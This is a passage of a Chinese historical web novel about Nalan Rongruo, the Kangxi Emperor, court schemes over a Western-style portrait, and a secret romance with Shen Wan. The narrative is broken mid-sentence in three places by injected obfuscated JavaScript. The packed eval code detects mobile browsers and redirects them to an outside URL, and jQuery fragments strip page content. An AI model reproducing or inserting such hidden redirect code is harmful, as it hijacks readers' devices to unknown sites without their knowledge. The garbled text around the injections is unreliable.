“禹画师你这叫什么话?君无戏言,小女云辞将来要嫁的夫君是明珠家的公子,而不是你!” 禹之鼎本想慷慨激昂地把自己对官云辞的爱慕之情给说出来,却不想康熙皇帝并没有给他这个机会,也就只能咬着嘴唇做了罢。 康熙皇帝招手叫纳兰上前,问:“纳兰容若,朕不是叫你给画作题字吗?你怎么一字不写?” 容若应道:“回皇上话,臣未见过有谁在西洋画上面题字,也未曾听闻过西洋画有题字的先例,故而不想做一个多此一举之人,惹后世笑话。” “如果朕就是要你来破这个先例呢?”康熙皇帝施压道,“你是抗旨还是遵旨?” 容若镇定道:“在臣眼中,在帝师南怀仁眼中,当今圣上是位明君,明君不会苛令臣子做贻笑大方之事。” 康熙皇帝心中一震,他是尊敬老师南怀仁的,要是南怀仁知道他做出了“下令给西洋画题字”的荒唐事,可不就是丢脸丢大了吗?丢的不但是自己的脸,更是大清的脸。 “好——”康熙皇帝不再固执己见,“纳兰,朕不再勉强你。” “臣谢皇上开明。” 康熙皇帝穷追不舍:“那你看,这幅画应该如何处置?” 正当大家都以为纳兰会说“交由如意馆综合诸方意见之后,再做定夺和回禀皇上”的时候,却从他口中听到了这么一句话: “臣以为,画作应当让朴尔普大人带回府上去,交给云辞格格处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129592|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 禹之鼎在心里,暗暗为纳兰叫了一声:“好!” 康熙皇帝叫曹寅去把画作拿下来,又问了纳兰一句:“你还有别的话要说吗?” “有。”纳兰帮着挚友道,“臣请求皇上收回去找太皇太后指婚的儿戏之言,臣受不起皇上的冲动之想、也不想误了云辞格格的终身大事。” 禹之鼎向纳兰投去了感激的眼神,心中不尽道谢。 康熙皇帝有意对朴尔普道:“纳兰容若说他不满朕的指婚,你有何想法?直说无妨。” 朴尔普只当这位未来女婿是在故作谦逊与推脱,倒也没有一丝生气,只平和地回应皇帝道:“孩子们都还小,臣愿意叫小女收心等待,到了成婚之日,就是见证皇上有先见之明之时啊!” 这话听得康熙皇帝舒心,他朗朗一笑,“曹寅,你还不快点把画像拿到一等公的手里去?” 曹寅迅速地看了纳兰和禹之鼎,才对康熙皇帝的命令照办。 朴尔普接过画像,自然又是对康熙皇帝一声大谢。 * 等到心满意足地从如意馆当中出来了,康熙皇帝听见顾问行在耳边问: “万岁爷方才对纳兰公子的一言一行,可都是带着本意的?万岁爷真的想求慈宁宫的老祖宗来为纳兰公子的婚事做主吗?” 康熙皇帝不以为然道:“朕不过是随便说说而已,你替纳兰着什么急?” “奴才只怕朴尔普将万岁爷的话当了真,无论多久,都愿意叫女儿等着这桩亲事啊!” 康熙皇帝笑了几声,道: “顾总管你不想想:官氏格格生动活泼、爱极了西洋文化,是个玲珑剔透的女子;纳兰沉稳无挑、擅词入骨骨带兰香,是个从古书之中走出来的谦谦君子,这二人如何能够走到一起去?” 顾问行没有接话,而是一路沉默地跟着康熙皇帝回到了养心殿。 过后,康熙皇帝也没有别的吩咐,只打发了闲杂人等都出去,自己独自看书。 顾问行却在关上养心殿的大门的一瞬间,在心中喃喃道:“朴尔普大人,奴才只怕云辞格格的婚事,要从长计议了呀!” * 如意馆内的一处安静之所。 容若、曹寅、禹之鼎三人围炉而坐。 “我总觉得今日之事哪里不对劲,这会儿想明白了。” 曹寅问:“纳兰,你想明白什么了?” 容若给围炉铁网上面的年糕翻了个身,有条理道: “我们仨,包括皇上在内,都步步陷入了顾问行和朴尔普精心设计的棋局里。我猜应是顾问行刻意先向皇上提了禹兄你会了西洋画之事,又旁敲侧击让皇上蒙生了让我给西洋画题字的离谱想法。” “等到了我交差之日,顾问行先一步支开了禹兄你,再弄了一个混杂了你的半成品和别的画作的书缸到我面前来,要我挑画题字。” 禹之鼎问:“纳兰,你为何不自己挑,非要叫顾总管来挑?” 容若明辨是非道:“因为我知道自己入局了,即便是打破,也没法一下子走出来。” “入局?”禹之鼎不解,“此话怎讲?” “顾总管说漏了嘴,说书缸里面混有南怀仁南大人的画。而我却知道,南怀仁掌管钦天监且担任帝师,所长是制造观星仪器和向皇上传授《几何原本》,他不会画画。如此,又怎会有南怀仁的‘画作’混入如意馆中?” 听容若说完,禹之鼎开悟道:“我懂了,就是说无论是纳兰你挑还是顾总管挑,到最后会被拿出来做文章的画作,都是那幅我未画完的云辞格格的半身像,是吧?” “嗯。”容若点头,“我想书缸之中存放之物,除了禹兄你的半成品之外,全是空白的卷轴。即便是我挑了空白的出来,顾总管也会自作主张来替我做出‘正确’选择。” 禹之鼎问:“那顾总管为什么要这样做?” “禹兄,你别生气,我想是因为朴尔普知道了云辞格格的心思,不许她对你再生好感的缘故,所以叫了顾总管出谋划策。” “我没什么好生气的,反正纳兰你又不会夺我所爱。朴尔普看不上我就看不上我,云辞格格不屈从于家族势力就好。” “那我就继续往下说了——” “好。” “顾问行之所以跟朴尔普一起联手策划这出戏,无非是想引导皇上促成我跟云辞格格的姻缘。我琢磨画的时候,顾问行叫人去请朴尔普来如意馆看我发挥,也在计划之中,目的是——好让朴尔普上演一场跟皇上同时到馆的巧合,光明正大地接受皇上的恩惠。” “其实不可说是恩惠,而是好几出荒唐之举换来的君无戏言。” “我的意思是,到目前为止,皇上还被蒙在鼓里,不知道他回养心殿后能不能把事件的前因后果都想明白。” “好是狡猾的二人!”曹寅气道,“为了达到目的,连皇上都敢利用。” “我就不在馆中久留了。”容若起身,“阿玛还在家中等着我回去,我怕他等的着急,先行告辞。” “可是——”禹之鼎替容若为难,“今日之事件件要紧,涉及皇上的个人英明、涉及八旗亲贵的门第颜面、涉及官宦勾结的欺君误国之罪,你要如何向明珠大人说?” “我会滴水不漏地说,禹兄曹寅,你俩放心。” 【注1】纳兰性德词作《南歌子》 6. 第6章 明府之中。 纳兰一家共进晚膳,惠儿同在。 明珠吩咐了侍女给儿子盛了一碗白玉芙蓉汤之后,就将佣人们统统屏退,关切道:“容若,今日你都经历了什么,好好跟阿玛道来。” “儿阻止了皇上做了一半的三件错事:其一,将西洋画等同于我朝字画,下令题字;其二,本末倒置,为了与儿较劲而误入他人所设之局;其三,自作主张,要太皇太后将朴尔普之女瓜尔佳·云辞,指婚给儿。” 听到最后一句话时,惠儿一惊,差点把手中的筷子掉到地上。 明珠一眼看出:惠儿对容若的痴情,消而未消。 但他也不说破,只清了清嗓子道:“容若,既然你用的是‘阻止’一词,是不是表示这三件事都还有回旋的余地?” “字画之事,皇上已经不再强儿所难;设局之事,儿想皇上迟早会看透,会对当事人罚而不惩;指婚之事,儿已拒绝,皇上没有明确表态,但儿猜皇上不会促成一桩勉为其难的姻缘。” 惠儿才刚刚定下心来,就听见明珠道:“容若,皇帝个人的自尊心、八旗亲贵的傲气心、以及朝中权宦的势力心,你想过吗?接下来你打算如何应对?” “儿在回来的路上想过了,也想透了。” 容若饮了一口汤,瞧着碗里的半素食材汤料。 这么说来,向往至简与纯粹的生活的自己,确实是适合多吃素。这副时好时坏、不可对人多言的身子骨也一样,要靠半素的饮食养着。 “儿明白,作为皇上身边的陪臣,可以参政但不能干政。所以——” “皇上的自尊心不可伤,否则影响了他一击擒拿鳌拜的势气,就是儿之过;八旗亲贵讲究部族荣耀、惦记祖上功勋,虽顽固不化却不可轻易动摇,儿不可因为婚配之事伤了彼此之间的和气,只能主动坦诚时机未熟、难担成家之任。” “朝臣与宦官相勾结,互通内外,一旦伤及国本就难以再挽狂揽。所以儿认为:为了整顿吏治,必须有所牺牲;为了革故鼎新,必须有所流血。只要皇上所做的一切都是有益于大清江山,儿就愿意站在皇上身边、为皇上所用。” 这算不算是回答了阿玛的问题呢? 容若看着明珠,等待明珠的反应。 明珠指着容若道:“你这些话,阿玛、额娘、表妹听过就好,到此为止。” 见容若点头,明珠夫人道:“吃饭吧,菜都要凉了。” * 是夜。 明珠回房以后,见夫人正在妆镜面前卸钗梳发,就过去她身后相伴。 许久。 明珠担虑道:“夫人,容若太过知人知己,可怎么好啊?” 觉罗氏道:“在内,我这个做额娘的,自然会处处疼惜他;在外,你们父子同朝为官,理应相互照应才是。” 她一边为明珠宽衣,一边道: “老爷,你曾经对我说过,你是要站在大清一人之下、万人之上的权力巅峰的人。那个时候我就告诉自己:我的夫君明珠,是个要成大事之人,作为他的妻子,我不可有妇人之仁,必须凡事为他做好打点、让他无后顾之忧。” “生下容若之后,见容若日益成长,才华满载,我更加清楚了自己的责任,那就是做一个好妻子、好额娘。所以老爷,容若是你我的好儿子,当你我改变不了他的性情之时,就唯有选择好好地保护他。” “保护他吗?”明珠重复了一遍。 “是。”觉罗氏清晰道,“府上常有宾客往来,人心黑白人情冷暖,不可琢磨;朝廷党同伐异,明争暗斗追名逐利,步步皆棋。而君侧,则是比家中和朝廷都要险恶上千万倍的地方,容若的安危,除了他自己鉴机识辨以外,就唯有靠老爷你来顾着啊!” “夫人所言极是。”明珠连连点头,“我知道该怎么做了。” 另一边。 纳兰惠儿所住的南侧厢房之中,灯火通明。 她心想: 难怪在昨晚,表兄笃定为我写词,原来表兄早就知道西洋画不适合题字。 但是,皇上为什么要跟表兄过不去呢?明明表兄没想过要赢过天子什么。 惠儿走到窗边,打开了一扇窗叶。 她看向容若的房间所在的位置,想象着容若此时的模样: 表兄定是拥被坐在双人榻的其中一侧,听雪赏雪,词境丛生,一人独占静谧与美好。 榻上的矮型小方桌上,摆放着他常看的书。书旁有一瓶淡雅的兰花,高洁中透着灵性;瓶边放置着一个小香包,那是她送给他的心意之物。 他微微而笑,仿佛听见了花开的声音。 他凝神细嗅,感受着香包的相知亦相痴。 她对着思无涯的情海深处,唤了一声他的名字。 然后,那一声轻柔就伴风随雪纷飞而去,没有了影踪。 * 次日。 禹之鼎刚刚踏出如意馆,就听见了熟悉的声音:“禹画师——” 他左右一顾,在一棵常青却压满了积雪的大树下面看见了官云辞。 禹之鼎快步上前,“云辞格格,你怎么还来这里?就不怕回府后遭受了你阿玛的责骂?” “我来谢你。”官云辞笑道,“我有两幅你画的肖像画了,这就叫做好事成双。” 禹之鼎却是老实:“第二幅半身像,背景和蝴蝶,是纳兰公子添的。” “我看背景和蝴蝶做什么?”云辞认真道,“我不爱词情词境,倒是爱西洋的乐谱曲谱。所以我只看你画的部分。” 禹之鼎看向云辞的卷发,“你今日的礼帽上面的镂空织物是什么?我怎么从未在当朝见过?” 云辞把帽子拿来下来,高兴道:“怕是整个大清只有两个人有,一个是从比利时带来此物的帝师南怀仁,另一个就是从他手中得到此物的我。南大人说,这叫做蕾丝,西洋女子用着来装饰头发或是绑成蝴蝶结来衬托长裙。” “真好看。” 禹之鼎单手举起帽子,看绯红色的镂空织物在风雪中飘扬。 这些栩栩如生的花片,是一枚枚缝好之后,再串联起来的,变成了一条花带之后,扎在帽子上,留出长长的“绦带”来顺着长发垂垂而下,好是生动,为大清皇家女子和官家女子们的步摇和流苏坠所不能比。 “南大人说,比利时最厉害的,一是酒,二是建筑,这第三就是制造业了。所以我才能够近水楼台先得月,成为大清第一个戴蕾丝帽子的人。” “话说回来,云辞你这般不同于别的女子,能跟其她八旗的格格们走到一块去吗?” “我为什么要跟她们处的来?”云辞反问,“我有自己的所爱和所长,有自己的主见,有自己的追求,还有禹画师你。就不必与她们一同谈论闺阁之事和嫁娶之事。” 禹之鼎心跳怦然:“还有……我吗?” “没错。”云辞信心满满,“我阿玛现在是看不上你,但日后就不一定了。我对阿玛说:禹之鼎是大清第一画师!就算成不了大清第一画师,那他也一定是当今天子手下的第一画师!” 禹之鼎紧张问:“你阿玛听完是什么反应?” 云辞模仿着父亲的口吻道: “阿玛发出一声冷笑,道:‘若是如此,那可真是我瓜尔佳氏一族的福气!大清第一词人和大清第一画师,纳兰容若和禹之鼎都成了我朴尔普的女婿的后备之选。’ ” 禹之鼎分不清了:“你阿玛是夸我,还是损我?” 云辞用肯定的口吻鼓励道:“把你跟纳兰公子放在一块儿,当然是夸你啊!” 当下,像是官云辞为了禹之鼎的面子才有意这么说,毕竟这个时候的禹之鼎,还只是一个头角未露的年轻人。 然而在许多年后,禹之鼎当真是成了“以精写人物著称,尤擅画肖像,誉满天下”的大清第一画师。 而朴尔普的那句真真切切的赌气训女之言:“能挑第一才子、第一画师当女婿,足以光耀瓜尔佳氏一族的门面。” 也一前一后,成为了嵌入历史长河之中的事实。 * 夜晚。 寝殿之中。 顾问行正要给皇帝放下帐幔,就听见了当头一喝:“顾总管,你给朕跪下!” “万岁爷息怒。”顾问行听命一跪,“夜晚动气,只怕难以安寝。” “说——”玄烨在床上坐的笔直,“使得朕给纳兰下题字的命令、误叫朕乱点了纳兰和官氏的鸳鸯、让朕左右为难不知该如何面对纳兰,可都是你跟朴尔普串通一气所为?” “奴才不敢。”顾问行立即否认,“万岁爷有自己的想法,主意全是自个拿的,奴才一字没有提过。” “亏得朕信任于你,你这已经叫做欺君了你知道吗?” “万岁爷要是认为奴才有错,那就罚吧!”顾问行处变不惊道,“只是不要把动作搞的过大,连着一等公朴尔普也一并领罪。否则惊扰了慈宁宫里的老祖宗事小,弄得八旗亲贵们对圣意有所揣测事大。” “好啊,你这是自己认错认罪了是吧?” “是。” 认罢,顾问行低下了头,等候处置。 玄烨本就睡意全无,如今确认自己身边的、形影不离地伺候自己的大太监也不可信时,心中不由得火冒三丈,却也只能压着。 只见他把被子一踢,连靴子也不穿,就走下床去,背着手站在了无声的烛台之前。 “奴才对万岁爷是忠心的。”顾问行拿了一件棉袍过来给康熙皇帝披上,“并非与朴尔普里应外合,有意瞒万岁爷于瓮中。” “你俩要是敢卖官鬻爵、贪赃枉法,朕定是现在就下令摘了你俩的脑袋!” 玄烨转身,指着眼前的顾总管道: “朴尔普爱女心切,想为云辞格格事先谋桩好姻缘情有可原,而你,错就错在为他出力的方法不对、方式不妥。” 见皇帝的态度有所缓和,顾问行赶紧提了靴子过来伺候皇帝穿上。 顾问行对皇帝说出了实话:“且不论朴尔普的家事,奴才日日陪伴在君侧,知道万岁爷您有着不输纳兰公子的才华,当真是不想您输给他啊!才出此下策,拿了‘禹之鼎画西洋画’一事来生事端,还请万岁爷恕罪,饶过奴才吧。” “朕要正大光明地跟纳兰比才学!” “是,是。奴才糊涂,不该自以为是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当今圣上兼容并包、博采众长,拜了洋人南怀仁当帝师,允许如意馆当中的画师画洋画,听说还看译本、喝洋酒、听洋曲呢,所以这纳兰公子写两行洋文也不奇怪。诸位,如今摆在你们面前的这份手稿,跟咱们皇上看过的、是一样的东西!” 周老板正夸夸其谈,沈宛却是出其不意地把那张——他口中的“纳兰公子的亲笔手书”给拿到了手。 她带着些傲气,也带着些得意,当众道:“纳兰公子的东西,现在归我了。” 随后,她把装满了银子的钱袋往柜桌上一放,神情潇洒地看众人的反应。 满堂的文人雅士和各路的商贾玩客,皆是惊讶。 照理说,周老板只谈“宝贝”的来源而不开价,就是那“宝贝”的价值不可估量、他不卖的意思。 哪来的野丫头? 连周老板炫耀的“心头所好”都敢抢了去。 周老板却意外没有生气,而是问那不速之客:“姑娘,你懂洋文吗?” 沈宛并不直接回答,只道:“各取所需,周老板你收你的银子,我买我之所爱。符合交易的规矩,这事就这么办了。” 见眼前的女子爽快,周老板对堂内众人道: “诸位,我看这位姑娘跟纳兰公子有缘,未来定是能够走到一块去。今日我就成人之美,将这自己的‘心头所好’给了她,不收她的银子了。“ 说罢,周老板就将钱包给沈宛还了回去。 众宾客纷纷称赞,说: 周老板慧眼,将来这位姑娘要是真跟纳兰公子成了亲,那你这张“料事如神”的嘴,可是功不可没啊! “多尔衮是满清入关的第一功臣,结果却落得一个死的不明不白和死后鞭尸的下场,真是可悲。唉,这么说来,这纳兰公子也算是多尔衮的后人了,大清能出这么一个才子,可见多尔衮的福泽尚在啊!” “周老板,你这话可不能乱说。”一文人阻止道,“没准你口中的‘福泽’,对明珠家、对纳兰公子来说,就是‘枷锁’啊!” “好好好,我不说,不说就是。” 周老板另拿了一幅画过来,迅速转变话题道:“诸位请看,这幅画的来头也不小,乃是出自……” 沈宛没有继续往下听。 只是觉得这层“亲缘关系”有些沉重—— 多尔衮死后,阿济格企图取代他继续摄政,却被削爵和关禁闭至死。 作为阿济格的女婿的纳兰明珠,幸亏是自己上进和得了孝庄太皇太后的相助,才让家族起死回生。 纳兰明珠作为一个精通满汉文化、能言善辩、人情练达之人,他的儿子纳兰容若自然也不会差,只是这对父子对大清朝而言,终究只是臣子。 臣子的悲哀,不在于:君叫臣死臣不得不死,而在于:臣在君侧,自甘为君而死。 沈宛带着今日的“收获”离开字画店,边走边想: 纳兰公子的祖王父是多尔衮,师傅宋应星对多尔衮恨之入骨。 自己若是对纳兰公子抱有“倾佩才学”和“思慕温情”的想法的话,肯定没法跟师傅交待。该怎么办呢? 如果能够再遇那位会为一朵水仙花弯腰的贵公子,一定问他拿个主意。 7. 第7章 在一处林子的入口,纳兰容若披着一件淡青色的斗篷站立在那里。 他就像一块雕雕细琢的玉,落入了皑皑白雪之中,清晰的让人舍不得去触碰,只能远远地欣赏。 他微微仰着头,看着树梢里的一点新绿,笑意中带着欣喜。抬手将新绿两侧的堆雪轻轻扫去,只留下芽尖上的一层薄冰,对他来说,就是对美和对生命的呵护。 一切都那么自然而然,心里这么想,便这么做; 一切都那么顺理成章,决定了的事,就要守约。 一片叶,一个女子。 一壶心,一份珍重。 容若把指尖从树梢上移开,对着掌心哈了几口气,然后搓了搓手。 他就近踩着雪,带着几分纯真几分天然,像孩子一般,乐在其中。 容若在笑,笑着问明珠: 阿玛你在担心什么?儿又不是一点风雪都经历不得,儿现在不是好好的吗?塞外的风雪,跟京师的风雪本无别,有别的只是人的心情心境而已。 阿玛你说你怕儿来日伴君出征时,只会成为军营里的一道风景线,没法穿着一身戎装、驰马杀敌。儿想说,儿不是皇帝身边的置物品、也不是沙场后的观赏品,儿是个有血有肉有报国心的人! 所以儿要做个扛得起情怀、也扛得起天下的人。 你愿意相信儿吗? 容若瞧见不远处,有一个身影正在向这边来。 他有种预感,来的就是自己所等之人。 ——我没有爽约,她也一定会来的。 他一直这般深深相信着。 果然是她,是宛卿。 沈宛看着眼前人,“公子,你是在等我吗?” “嗯。” 容若点头:“连着来了几日,因为记得姑娘相邀我一起踏雪的话。京师有几处林子,要属这里意境最好,所以我来这里。不知道姑娘住所,想着只能在此再相会,所以我来这里。” 她油然而生出一股感动:“公子明明怕冷,还每天来吗?” 容若露出了令人安心的笑容:“我不能辜负任何人的期待。” 沈宛情不自禁地握住了容若冰冷的双手,她问他:“公子就不怕我只是随便说说而已,踏雪和看雪的约定,都是编造谎言骗你的?” 容若似乎一点都不介意,只是自我反省道:“那也是我当日不好,没有应姑娘你当下的约的错。” “公子,你真是个好人。”沈宛在不知不觉间热泪盈眶,“我还以为:世间男子真如师傅说的那样,个个虚情假意,自私自利呢。” 容若不爱评价别人。 他从来不直说谁好谁坏,也从来都不往别人口中的话里面挑优劣。 容若纯粹地做着自己,所以他是不会在乎沈宛的师傅教过她什么的。 反观宋应星—— 亲人和友人都被多尔衮的部下所害所杀,这是事实。 在多尔衮死后,他就把对多尔衮的怨恨迁移到了纳兰一家身上,原因很简单: 多尔衮、多铎、阿济格三兄弟都死了,与之相关的人也全部都被顺治帝清算了,唯有娶了阿济格之女的纳兰明珠一家活了下来、而且还活的很好,宋应星怎么能咽的下这口气? 因此,宋应星不是不叫沈宛去接触明珠家的公子,而是时机未到。 等到机会来了,他就决定向沈宛亮出底牌,让她去当一颗棋子。 容若拉起沈宛手,与她一起往林子的深处走。 他说:“宛卿,等到了你,我觉得欢喜。” * 林深处,有一温泉。 容若和沈宛坐在温泉边,看着一池氤氲雾气,听着声声珠玉之音。 “此前我有幸随着皇上和太皇太后一同前往温泉行宫,皇上嫌弃行宫的原名字不好听,就叫我当场取一个。我说叫做‘坐忘’如何?皇帝明知我的本意是取自《庄子》,想要表达:入汤坐忘,凝神遐想,身心具造,物我合一之意。他却故意跟我赌气,板着脸问我:‘你是想叫朕一坐下来就忘记孝顺皇阿奶吗?好大的胆子!’我就说:‘臣不是这个意思,请皇上不要强词夺理。’结果嘛,在太皇太后的调解下,皇上倒也没怪我。” “你的身份很尊贵吗?可以跟天子和太皇太后一同出行。” “我跟你说过,我只是皇帝身边的一个陪臣。自身并不究竟身份高低和门第盛衰那一套,有人愿意跟我相交,我就会以心相待。” 容若低头,把挂在腰间的一块容易暴露身份的配饰翻了个面。 “真巧了,我从字画店的周老板手里拿到了这个。” 沈宛从袖中拿出一样东西,“他说这是纳兰公子的亲笔,你肯定跟纳兰公子接触过吧?你来辨认辨认是不是真的?” “我……”容若轻轻问,“我朝第一才子的亲笔手书,怎么到了姑娘你手里? 容若只记得,自己在笺纸上写完两行洋文之后,就被曹寅要了去。 曹寅明明说是要拿给皇上看的,怎就流出到民间去了? 那皇上到底看过没有?我写的是: The wind, flowers, snow, and moon are not related to love. Encountering each other bringsfort to this life. Whispering, nothing else to do tonight. we will jointly cultivate the river oath and mountain alliance. 沈宛回应道:“正好遇见了,心中有所触动,所以就拿下了。” “拿下?”容若心中既好奇又惊喜,“是把纳兰公子的诗……抢到手的意思吗?” 沈宛点了点头。 “这是一首诗吗?”她又迫不及待地指着笺纸问,“你快告诉我上面写了什么。” 容若虽然手中没有笔墨,但是身上却正好带着自己写过的汉文诗诗稿。 他把诗稿拿出来给沈宛看,在她身旁念道: “情非风花与雪月, 此生相逢以沫共。 轻声细语无旁事, 海誓山盟与君同。“ 沈宛觉得哪里不对劲,但又说不上来。 只好奇怪地问:“公子你怎么会有纳兰公子的洋笺的译文?” 容若寻了个借口道:“我跟他是朋友,他的诗、词、文章我都看过、记下过、誊写过。” 沈宛把汉文诗译文捧在掌心,爱不释手,对容若赞叹道:“公子,你写的字真好,比我们汉人写的都好。” 容若试探道:“那你觉得,我写的汉诗跟纳兰公子写的洋文,有没有相似的笔法?” 沈宛左手拿着汉诗,右手拿着洋笺,细细对比起来,好久才得出结论。 “像又不像,不像又像,公子你叫我陷入迷宫里面去了。” “喏,洋笺上面有纳兰公子的印鉴,是真迹。”容若暗示道,“我倒觉得印鉴上面的文字,跟汉诗汉字相接近。” “你在模仿他吗?” 面对沈宛的疑问,容若失笑,道: “怎就只许我模仿纳兰,不许纳兰模仿我?” * 天色渐晚,沈宛发挥本事燃起了一堆篝火。 雪落焰心,无声之后不见;风过柴堆,渐明渐灭渐如常。 星垂天幕,似泪似珠晶莹;枝谢琼妃,见浅见深见残霜。 容若没有过在这样的场景中偎依烤火的经历,所以他既耳目一新又倍加珍惜。他看着宛卿,觉得她跟自己遇见过的女子都不一样—— 哪怕自己所有的“心甘情愿”换来的,都还是她的“一无所知”,自己也乐意空出时间来跟她相处。 挨冻,寒痛,私会,晚归,全是错事。 赏雪,观火,论诗,猜心,甘之若饴。 “早知道,我就跟阿玛和额娘说,今晚住朋友家中,不回。” 容若十指紧扣,放在膝盖上。 “公子处在家教森严的府邸里吗?” “不算是,阿玛和额娘待我很好,好到我只能以完美无缺来回报。” “人无完人,哪能不犯错?” “我想,不犯错跟让人挑不出错,是一样的意思。” “难怪我觉得,在公子你身上找不出可以挑剔的地方。” “真的吗?我怕冷这一点,你也不挑?” “一年冬天只有一季,身边有知己陪着的话,就不冷了。” 见容若起身,沈宛问:“那公子回去的晚了,打算怎么跟爹娘说?” “我想想。在回去的路上想,到家之前总能想出合适的话来。” 送容若到马车边,沈宛理了理他的斗篷,珍重道:“公子一路顺风。” 容若对她点了一下头,踏入了马车的帘室中。 * 明月初升,街头的一个馆子里,禹之鼎和官云辞正坐在一起吃羊肉大葱馅儿的馄饨。 今晚云辞没有穿西洋衣裙,而是以一副正常的满清女子的打扮出现在心上人面前。禹之鼎也没有穿相应品阶的官服,而是一过了在如意馆中的坐班时间,就迅速换了便服去见云辞格格。 俩人都觉得街头的小吃要比宫内配给的份例之食材也合胃口,所以几乎是以一样的速度把馄饨吃完的。 从馆子里出来,禹之鼎对云辞道:“我出身贫寒,凭借画技得到明珠大人的引荐,进入朝廷奉职之后,又通过了内部考试,得到了皇上的钦点,成了御用画师。我跟明珠大人的公子容若是好友,觉得谢他跟谢他的父亲是一样的。” “哦?”云辞奇道,“你拿了什么谢纳兰公子?” “我带容若到街头的包子铺吃饭。我住的是皇上安排的官舍,没有什么钱,能请得起客的地方,也就只有民间的摊子了。” “可是,朝中人人知道:明府气派,明珠有钱,纳兰公子高雅。”云辞像是预测到有什么事发生一般,“你就算是拿一幅画去明府酬谢,也比带纳兰公子去食人间烟火好啊!” “当时我不知道明府的背景和容若的性情,只把明珠大人当恩人,把容若当朋友,就照着自己的想法做了。结果——” “结果怎么样?” 禹之鼎窘迫道:“结果容若刚坐下,包子铺的老板就对着我一阵夸,说禹之鼎出息了,不但能在皇上身边奉职而且结交上了气度不凡的贵公子,简直是让小摊蓬荜生辉。我是老板的熟客,自然是熟悉他的风格,我正想跟容若解释,没想到——” 云辞紧张问:“没想到什么?” “没想到老板竟然拿出搭在肩上的抹布来擦筷子,然后把擦好后筷子递给容若。” 云辞打断道:“明珠要是知道这事,能把你和包子铺老板一并抓起来打板子你信不信?纳兰公子是明珠捧在手心都怕化了的珍宝,平日里锦衣玉食,哪能受得了被反复用的抹布擦过的筷子?” 禹之鼎细细回忆道: “容若伸出双手从老板手中接过油乎乎的筷子了,他像是道别具一格的风景线似的,声线温润地向老板道了谢。” “等老板转身忙活别的事情以后,容若对我道:‘身在市井之中,就要做个市井之人,所以我不觉得自己哪里被老板冒犯了。只怪自己这一身华服和与生俱来的气质——拉开了烟火味与尊贵感之间的距离,让禹兄你以为我会介意。’容若说他不介意,下次我邀他出来,他还是会应邀。” 云辞听完,神情呆然。 “我说的都是真的,《明珠家事》里面有没有记载、或是换了什么方式来记载,我就不知道了。从那一天开始,我就把容若当成真朋友了。” 云辞开玩笑道:“禹画师,你长进了,初次带纳兰公子外出吃饭去的是街边摊子,初次带我吃饭去的是街边馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129594|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “云辞格格,等我攒够了钱,”禹之鼎期待道,“我们一起去海的对岸吃西餐好不好?” “好啊,一言为定。” “那今晚是不是就此分别?前面就是你家了。” 云辞不舍地一点头,正要跟禹之鼎挥手告别,回瓜尔佳府里去。 忽然,从府里走出了一个熟悉的身影来。 * 随着那个身影的走近,云辞在禹之鼎耳边道:“你记得吧?我跟你说过,我的曾祖父是费英东。” “记得。” 禹之鼎其实想告诉云辞:情到深处,她说过的每一句话,他都记得。 “那是鳌拜。”云辞用眼神对禹之鼎暗示道,“鳌拜是费英东的亲侄子,都是我们瓜尔佳氏一族的人。” “这么晚了,鳌拜去你家做什么?” “你问我,我也不知道呀!” 云辞本想叫禹之鼎快走,自己也避开鳌拜、从后门回家的。 却没想到鳌拜直向这边走来,自己和禹之鼎已经没有了闪躲的机会。 鳌拜开门见山道:“本官没有带别人一同,而是独自来此见你阿玛的。” “鳌拜大人来府自然有鳌拜大人的用意,云辞不便多问。” 鳌拜说话直接:“你阿玛想把你嫁给纳兰容若是好事,来日方长,没有叫你马上嫁,你知道是为何吗?” “云辞知道。鳌拜大人你在铲除摄政王多尔衮的过程中,出过不少力,照理说应对跟多尔衮走得近的纳兰氏一族的人无好感。只是辅政大臣索尼已死,其子索额图在朝中处处与你作对,你为了让自己立于不败之地,就想要借助纳兰明珠来牵制索额图,所以你想让云辞跟纳兰容若喜结良缘,好令纳兰氏站在瓜尔佳氏这一边。” 见云辞说到了点子上,鳌拜问她:“你是我的堂侄女,嫁给纳兰容若也是风风光光,你对此就没有过任何期待吗?” “云辞不怕告诉鳌拜大人,这辈子云辞只想嫁一个人,那就是此刻就在我身边的画师禹之鼎。” 鳌拜挑眉问:“你嫁给禹之鼎,能够瓜尔佳氏一族带来什么好处?” 云辞直对上了鳌拜的眼神,不屈道:“远离氏族纷争和拉拢,不成为朝廷派阀斗争的牺牲品就是最大的好处。” “你怎么能有气魄说出这种话?”鳌拜一甩手,强硬道,“八旗格格的婚事,从来没有自己做主的先例。” “鳌拜大人,难道你就没有想过:纳兰明珠只忠于皇帝,他会暂且跟索额图放下私人恩怨,联手扳倒你吗?皇权集中,最大的受益者不正是那对曾经的死对头吗?分和有时,再斗不迟。” “你的意思是:不管本官拉拢哪一派势力,都终将败于皇帝手下吗?” 